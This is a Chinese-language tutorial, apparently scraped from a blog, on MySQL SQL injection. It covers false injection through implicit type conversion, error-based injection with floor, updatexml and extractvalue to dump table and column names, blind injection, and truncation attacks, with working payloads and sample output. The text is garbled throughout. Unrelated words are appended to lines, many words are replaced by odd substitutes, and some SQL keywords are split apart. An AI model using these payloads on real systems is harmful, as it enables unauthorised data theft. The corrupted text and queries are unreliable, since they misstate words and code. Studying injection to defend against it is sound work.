0x01 False Injection前端
username=0时数据库会返回数据,尝试一下使password=0会不会返回一样的数据。
mysql
空集没法查询sql
MYSQL的隐式类型转换。数据库
若是两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不作类型转换安全
两个参数都是字符串,按照字符串比较。不作类型转换bash
两个参数都是整数,按照整数比较。不作类型转换app
若是不与数字进行比较,则将十六进制值视为二进制字符串。函数
有一个参数是 decimal 类型,若是另一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,若是另一个参数是浮点数,则会把 decimal 转换为浮点数进行比较测试
全部其余状况下,两个参数都会被转换为浮点数再进行比较spa
举几个例子看一下:
能够看获得例如6和6aa进行比较的时候 6aa会强制转换为6,这时6=6 返回true
username=0会致使返回数据了,就是由于这里会将数据转换为浮点数比较,可是字符串转换会出问题,从而返回0使得0=0从而为true获得结果。
二、利用
算术运算符
实际中咱们接触到的语句都是带有引号的,相似于where username='+input+' 这样的,这时候咱们就须要作一些处理来构造false注入的利用点。
输入+ 则至关于语句被转化为 where username="+"
+,-,*,/,%都是同理。
比较运算符
安全等于:<=>
'=0<=>1# 拼接的语句:where username=''=0<=>1#'
不等于<>(!=)
'=0<>0# 拼接的语句:where username=''=0<>0#'
利用一下这个特色

两种状况均返回true,缘由在于后面存在的亦或表达式会使前面的判断类型都转换为浮点型数据。所以都变为0。
0x02
注入经常使用函数与字符
这个做为咱们用来测试的表单。
下面的函数是常常会用到的。
mid()---从文本字段中提取字符
SELECT MID(column_name,start[,length]) FROM table_name;
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。若是省略,则 MID() 函数返回剩余文本。
limit()---返回前几条或者中间某几行数据
select * from table limit m,n;
其m指记录始index0始表示第条记录 n指第m+1条始取n条
concat、concat_ws、group_concat
MySQL的concat函数在链接字符串的时候,只要其中一个是NULL,那么将返回NULL
group_concat([DISTINCT] 要链接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
rand随机数(产生0,1之间随机数)
报错注入
基于floor,UpdateXml(有长度限制,最长32位),ExtractValue(有长度限制,最长32位)进行报错注入。
- 获取数据库
select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
- 获取数据表
select count(*),concat(0x3a,0x3a,(select table_name from information_sche ma.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) name fr om information_schema.tables group by name;
- 获取字段
select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
UpdateXml报错注入
获取数据表
mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM informatio
n_schema.tables WHERE table_schema=database() limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~ctf'
获取字段
mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0); ERROR 1105 (HY000): XPATH syntax error: '~password'mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0); ERROR 1105 (HY000): XPATH syntax error: '~user'
基于布尔盲注
mysql> select table_name from information_schema.tables where table_schema=database() limit 3,1;
limit x,y 是须要进行尝试的。猜想数据库
基于时间盲注
基于的原理是,当对数据库进行查询操做,若是查询的条件不存在,语句执行的时间即是0.但每每语句执行的速度很是快,线程信息一闪而过,获得的执行时间基本为0。可是若是查询语句的条件不存在,执行的时间即是0,利用该函数这样一个特殊的性质,能够利用时间延迟来判断咱们查询的是否存在。这即是SQL基于时间延迟的盲注的工做原理
Mysql约束攻击
在mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动形成截断。
实例:在数据表中插入'lovehsy' 和 ‘lovehsy '两条数据。
对比一下二者
虽然在长度方面是不一样的可是在前端验证的时候二者会被当成相同的字符串来处理。